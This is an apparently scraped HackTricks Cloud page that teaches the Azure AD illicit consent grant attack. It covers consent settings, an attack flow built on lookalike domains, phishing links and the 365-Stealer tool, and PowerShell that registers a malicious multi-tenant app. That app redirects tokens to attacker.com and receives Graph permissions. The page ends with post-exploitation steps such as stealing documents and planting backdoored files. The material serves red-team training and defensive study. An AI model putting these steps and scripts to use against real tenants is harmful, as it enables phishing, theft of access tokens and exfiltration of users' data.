HackTricks Cloud
HackTricks Cloud
Ask or search…
⌃K
Links

Az - Illicit Consent Grant

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:

OAuth App Phishing

Azure Applications ask for permissions to access the user data (basic info, but also access to documents, send emails...). If allowed, a normal user can grant consent only for "Low Impact" permissions. In all other cases, admin consent is required. GA, ApplicationAdministrator, CloudApplication Administrator and a custom role including permission to grant permissions to applications can provide tenant-wide consent.
Only permissions that doesn't require admin consent are classified as low impact. These are permissions required for basic sign-in are openid, profile, email, User.Read and offline_access. If an organization allows user consent for all apps, an employee can grant consent to an app to read the above from their profile.
Therefore, an attacker could prepare a malicious App and with a phishing, make the user accept the App and steal his data.
The following PowerShell command is used to check the consent configuration for users in Azure Active Directory (Azure AD) regarding their ability to consent to applications:
PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • Disable user consent: This setting prohibits users from granting permissions to applications. No user consent to applications is allowed.
  • Users can consent to apps from verified publishers or your organization, but only for permissions you select: This setting permits all users to consent only to applications that are published by a verified publisher and applications registered in your own tenant. It adds a layer of control by allowing consent only for specific permissions.
  • Users can consent to all apps: This setting is more permissive and allows all users to consent to any permissions for applications, as long as those permissions do not require administrative consent.
  • Custom app consent policy: This setting indicates that a custom policy is in place, which can be tailored to specific organizational requirements and may involve a combination of restrictions based on the app publisher, the permissions the app requests, and other factors.
In an illicit consent grant attack, attackers trick end users into granting permissions to a malicious application registered with Azure. This is done by making the application appear legitimate, leading victims to unknowingly click an "Accept" button. As a result, Azure AD issues a token to the attacker's site, allowing them to access and manipulate the victim's data, such as reading or sending emails and accessing files, without needing an organizational account.

Attack Flow Overview

The attack involves several steps targeting a generic company. Here's how it might unfold:
  1. 1.
    Domain Registration and Application Hosting: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
  2. 2.
    Application Registration in Azure AD: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
  3. 3.
    Setting Up Permissions: The attacker sets up the application with various API permissions (e.g., Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
  4. 4.
    Distributing Malicious Links: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.

Utilizing Tools for the Attack

The attack can be facilitated using tools like 365-Stealer.

Pre-Attack Preparation:

If the attacker has some level of access to a user in the victim organization, they might check if the organization's policy allows the user to accept apps:
Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[email protected]", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.
For executing the attack, the attacker would need to create a new App in their Azure Tenant (in App registrations), configured with the permissions:
User.ReadBasic.All is inside Microsoft Graph in Delegated permissions. (Application permissions will always need extra approval).
  • User.ReadBasic.All is the permission that will allow you to read information of all the users in the organization if granted.
  • Remember that only GA, ApplicationAdministrator, CloudApplication Administrator and a custom role including permission to grant permissions to applications can provide tenant-wide consent. So, you should phish a user with one of those roles if you want him to approve an App that requires admin consent.
You could also create an App via cli with:
# Generate Application
New-AzureADApplication -DisplayName "MyApp" -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true
​
# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
​
# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName" -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)
​
$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"} # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"
​
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
​
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
​
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
​
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
​
$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)
​
$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)
​
$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)
​
$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}
​
Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid
Note that the obtained access token will be for the graph endpoint with the scopes: User.Read and User.ReadBasic.All (the requested permissions). You won't be able to performs other actions (but those are enough to download info about all the users in the org).
You could also use this tool to perform this attack.

Post-Exploitation

Once you got access to the user you can do things such as stealing sensitive documents and even uploading backdoored document files.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks: